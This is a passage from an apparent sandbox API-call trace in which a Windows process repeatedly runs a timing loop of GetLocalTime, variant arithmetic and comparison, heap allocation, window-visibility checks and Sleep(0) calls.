pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.671] GetCurrentProcessId () returned 0x9e0 [0189.671] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.671] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.671] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.671] GetTickCount () returned 0x115f8f0 [0189.671] GetTickCount () returned 0x115f8f0 [0189.671] GetTickCount () returned 0x115f8f0 [0189.672] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.672] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.672] GetTickCount () returned 0x115f8f0 [0189.672] IsWindowVisible (hWnd=0x30268) returned 0 [0189.672] IsWindowVisible (hWnd=0x40298) returned 0 [0189.672] IsWindowVisible (hWnd=0x60106) returned 0 [0189.672] Sleep (dwMilliseconds=0x0) [0189.673] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x264)) [0189.673] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.673] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.673] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.673] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.673] GetCurrentProcessId () returned 0x9e0 [0189.673] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.673] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.673] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.673] GetTickCount () returned 0x115f8f0 [0189.673] GetTickCount () returned 0x115f8f0 [0189.673] GetTickCount () returned 0x115f8ff [0189.673] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.673] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.673] GetTickCount () returned 0x115f8ff [0189.674] IsWindowVisible (hWnd=0x30268) returned 0 [0189.674] IsWindowVisible (hWnd=0x40298) returned 0 [0189.674] IsWindowVisible (hWnd=0x60106) returned 0 [0189.674] Sleep (dwMilliseconds=0x0) [0189.675] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x274)) [0189.675] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.675] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.675] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.675] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.675] GetCurrentProcessId () returned 0x9e0 [0189.675] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.675] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.675] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.675] GetTickCount () returned 0x115f8ff [0189.675] GetTickCount () returned 0x115f8ff [0189.675] GetTickCount () returned 0x115f8ff [0189.675] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.675] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.675] GetTickCount () returned 0x115f8ff [0189.676] IsWindowVisible (hWnd=0x30268) returned 0 [0189.676] IsWindowVisible (hWnd=0x40298) returned 0 [0189.676] IsWindowVisible (hWnd=0x60106) returned 0 [0189.676] Sleep (dwMilliseconds=0x0) [0189.676] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x274)) [0189.677] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.677] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.677] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.677] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.677] GetCurrentProcessId () returned 0x9e0 [0189.677] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.677] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.677] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.677] GetTickCount () returned 0x115f8ff [0189.677] GetTickCount () returned 0x115f8ff [0189.677] GetTickCount () returned 0x115f8ff [0189.677] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.677] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.677] GetTickCount () returned 0x115f8ff [0189.677] IsWindowVisible (hWnd=0x30268) returned 0 [0189.677] IsWindowVisible (hWnd=0x40298) returned 0 [0189.677] IsWindowVisible (hWnd=0x60106) returned 0 [0189.677] Sleep (dwMilliseconds=0x0) [0189.678] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x274)) [0189.678] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.678] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.679] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.679] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.679] GetCurrentProcessId () returned 0x9e0 [0189.679] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.679] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.679] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.679] GetTickCount () returned 0x115f8ff [0189.679] GetTickCount () returned 0x115f8ff [0189.679] GetTickCount () returned 0x115f8ff [0189.679] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.679] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.679] GetTickCount () returned 0x115f8ff [0189.679] IsWindowVisible (hWnd=0x30268) returned 0 [0189.679] IsWindowVisible (hWnd=0x40298) returned 0 [0189.679] IsWindowVisible (hWnd=0x60106) returned 0 [0189.679] Sleep (dwMilliseconds=0x0) [0189.680] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x274)) [0189.680] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.680] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.680] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.680] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.681] GetCurrentProcessId () returned 0x9e0 [0189.681] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.681] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.681] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.681] GetTickCount () returned 0x115f8ff [0189.681] GetTickCount () returned 0x115f8ff [0189.681] GetTickCount () returned 0x115f8ff [0189.681] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.681] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.681] GetTickCount () returned 0x115f8ff [0189.681] IsWindowVisible (hWnd=0x30268) returned 0 [0189.681] IsWindowVisible (hWnd=0x40298) returned 0 [0189.681] IsWindowVisible (hWnd=0x60106) returned 0 [0189.681] Sleep (dwMilliseconds=0x0) [0189.682] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x274)) [0189.682] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.682] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.682] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.682] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.682] GetCurrentProcessId () returned 0x9e0 [0189.682] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.683] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.683] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.683] GetTickCount () returned 0x115f8ff [0189.683] GetTickCount () returned 0x115f8ff [0189.683] GetTickCount () returned 0x115f8ff [0189.683] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.683] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.683] GetTickCount () returned 0x115f8ff [0189.683] IsWindowVisible (hWnd=0x30268) returned 0 [0189.683] IsWindowVisible (hWnd=0x40298) returned 0 [0189.683] IsWindowVisible (hWnd=0x60106) returned 0 [0189.683] Sleep (dwMilliseconds=0x0) [0189.684] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x274)) [0189.684] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.684] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.684] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.684] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.684] GetCurrentProcessId () returned 0x9e0 [0189.684] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.684] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.684] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.684] GetTickCount () returned 0x115f8ff [0189.684] GetTickCount () returned 0x115f8ff [0189.685] GetTickCount () returned 0x115f8ff [0189.685] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.685] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.685] GetTickCount () returned 0x115f8ff [0189.685] IsWindowVisible (hWnd=0x30268) returned 0 [0189.685] IsWindowVisible (hWnd=0x40298) returned 0 [0189.685] IsWindowVisible (hWnd=0x60106) returned 0 [0189.685] Sleep (dwMilliseconds=0x0) [0189.686] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x274)) [0189.686] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.686] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.686] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.686] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.686] GetCurrentProcessId () returned 0x9e0 [0189.686] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.686] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.686] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.686] GetTickCount () returned 0x115f8ff [0189.686] GetTickCount () returned 0x115f8ff [0189.686] GetTickCount () returned 0x115f8ff [0189.686] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.687] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.687] GetTickCount () returned 0x115f8ff [0189.687] IsWindowVisible (hWnd=0x30268) returned 0 [0189.687] IsWindowVisible (hWnd=0x40298) returned 0 [0189.687] IsWindowVisible (hWnd=0x60106) returned 0 [0189.687] Sleep (dwMilliseconds=0x0) [0189.688] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x274)) [0189.688] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.688] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.688] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.688] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.688] GetCurrentProcessId () returned 0x9e0 [0189.688] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.688] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.688] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.688] GetTickCount () returned 0x115f8ff [0189.688] GetTickCount () returned 0x115f8ff [0189.688] GetTickCount () returned 0x115f8ff [0189.688] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.688] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.688] GetTickCount () returned 0x115f8ff [0189.689] IsWindowVisible (hWnd=0x30268) returned 0 [0189.689] IsWindowVisible (hWnd=0x40298) returned 0 [0189.689] IsWindowVisible (hWnd=0x60106) returned 0 [0189.689] Sleep (dwMilliseconds=0x0) [0189.690] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x283)) [0189.690] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.690] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.690] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.690] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.690] GetCurrentProcessId () returned 0x9e0 [0189.690] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.690] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.690] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.690] GetTickCount () returned 0x115f90f [0189.690] GetTickCount () returned 0x115f90f [0189.690] GetTickCount () returned 0x115f90f [0189.690] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.690] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.690] GetTickCount () returned 0x115f90f [0189.691] IsWindowVisible (hWnd=0x30268) returned 0 [0189.691] IsWindowVisible (hWnd=0x40298) returned 0 [0189.691] IsWindowVisible (hWnd=0x60106) returned 0 [0189.691] Sleep (dwMilliseconds=0x0) [0189.691] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x283)) [0189.691] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.691] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.691] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.692] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.692] GetCurrentProcessId () returned 0x9e0 [0189.692] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.692] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.692] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.692] GetTickCount () returned 0x115f90f [0189.692] GetTickCount () returned 0x115f90f [0189.692] GetTickCount () returned 0x115f90f [0189.692] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.692] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.692] GetTickCount () returned 0x115f90f [0189.692] IsWindowVisible (hWnd=0x30268) returned 0 [0189.692] IsWindowVisible (hWnd=0x40298) returned 0 [0189.692] IsWindowVisible (hWnd=0x60106) returned 0 [0189.692] Sleep (dwMilliseconds=0x0) [0189.693] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x283)) [0189.693] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.693] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.693] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.694] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.694] GetCurrentProcessId () returned 0x9e0 [0189.694] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.694] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.694] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.694] GetTickCount () returned 0x115f90f [0189.694] GetTickCount () returned 0x115f90f [0189.694] GetTickCount () returned 0x115f90f [0189.694] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.694] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.694] GetTickCount () returned 0x115f90f [0189.694] IsWindowVisible (hWnd=0x30268) returned 0 [0189.694] IsWindowVisible (hWnd=0x40298) returned 0 [0189.694] IsWindowVisible (hWnd=0x60106) returned 0 [0189.694] Sleep (dwMilliseconds=0x0) [0189.695] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x283)) [0189.695] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.695] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.695] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.695] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.695] GetCurrentProcessId () returned 0x9e0 [0189.695] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.696] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.696] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.696] GetTickCount () returned 0x115f90f [0189.696] GetTickCount () returned 0x115f90f [0189.696] GetTickCount () returned 0x115f90f [0189.696] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.696] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.696] GetTickCount () returned 0x115f90f [0189.696] IsWindowVisible (hWnd=0x30268) returned 0 [0189.696] IsWindowVisible (hWnd=0x40298) returned 0 [0189.696] IsWindowVisible (hWnd=0x60106) returned 0 [0189.696] Sleep (dwMilliseconds=0x0) [0189.697] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x283)) [0189.697] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.697] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.697] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.697] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.697] GetCurrentProcessId () returned 0x9e0 [0189.697] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.697] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.697] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.697] GetTickCount () returned 0x115f90f [0189.697] GetTickCount () returned 0x115f90f [0189.697] GetTickCount () returned 0x115f90f [0189.698] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, 